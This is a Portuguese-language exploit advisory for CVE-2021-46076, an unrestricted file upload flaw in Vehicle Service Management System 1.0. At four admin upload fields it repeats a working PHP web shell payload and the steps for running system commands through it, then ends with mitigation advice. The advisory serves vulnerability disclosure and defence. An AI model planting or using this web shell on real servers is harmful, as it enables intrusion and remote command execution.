CVE-2021-46076
Título do Exploit: Vehicle Service Management System - Upload de Arquivo 'Múltiplo' Leva à Execução de Código
Autor do Exploit: SANU P.L
CVE: CVE-2021-46076
CVSS: 8.8 ALTA
Referências:
Descrição:
O Sourcecodester Vehicle Service Management System 1.0 é vulnerável a upload de arquivo. Um atacante pode enviar um arquivo php malicioso em vários endpoints, o que leva à execução de código.
1. Vehicle Service Management System - 'Minha Conta' (/admin/?page=user)
Exploração:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Minha Conta http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- Salve o código php acima, por exemplo: Cmd.php
- Na seção Minha Conta, preencha todos os detalhes necessários e selecione o arquivo php em Avatar.
- Clique no botão de atualização.
- Abra a imagem do avatar em uma nova aba.
- Adicione o parâmetro cmd na URL e execute os comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Execute todos os comandos do sistema, por exemplo: id, whoami, pwd etc..
2. Vehicle Service Management System - 'Lista de Usuários' (/admin/?page=user/manage_user)
Exploração:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Lista de Usuários e clique no botão Criar Novo.
Payload:
<?php system($_GET['cmd']);?>
- Salve o código php acima, por exemplo: Cmd.php
- Na página Criar Novo Usuário, preencha todos os detalhes necessários e selecione o arquivo php em Avatar.
- Clique no botão Salvar.
- Abra a imagem do avatar em uma nova aba.
- Adicione o parâmetro cmd na URL e execute os comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Execute todos os comandos do sistema, por exemplo: id, whoami, pwd etc..
3. Vehicle Service Management System - 'Configurações - Logotipo do Sistema' (/admin/?page=system_info)
Exploração:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Salve o código php acima, por exemplo: Cmd.php
- Na seção Configurações, preencha todos os detalhes necessários e selecione o arquivo php em Logotipo do Sistema.
- Clique no botão de atualização.
- Abra a imagem do Logotipo do Sistema em uma nova aba.
- Adicione o parâmetro cmd na URL e execute os comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Execute todos os comandos do sistema, por exemplo: id, whoami, pwd etc..
4. Vehicle Service Management System - 'Configurações - Capa do Site' (/admin/?page=system_info)
Exploração:
- Faça login no painel administrativo http://localhost/vehicle_service/admin
- Navegue até a seção Configurações http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Salve o código php acima, por exemplo: Cmd.php
- Na seção Configurações, preencha todos os detalhes necessários e selecione o arquivo php em Capa do Site.
- Clique no botão de atualização.
- Abra a imagem da Capa do Site em uma nova aba.
- Adicione o parâmetro cmd na URL e execute os comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Execute todos os comandos do sistema, por exemplo: id, whoami, pwd etc..
Impacto:
Um atacante consegue enviar um arquivo php malicioso em vários endpoints, levando à execução de código.
Mitigação:
Recomenda-se implementar o seguinte:
- Nunca aceite um nome de arquivo e sua extensão diretamente sem ter um filtro de lista de permissões.
- Se não houver necessidade de caracteres Unicode, é altamente recomendável aceitar apenas caracteres alfanuméricos e apenas um ponto como entrada para o nome do arquivo e a extensão.
- Limite o tamanho do arquivo a um valor máximo para evitar ataques de negação de serviço.
- O diretório de upload não deve ter nenhuma permissão de "execução".
- Não confie apenas na validação do lado do cliente.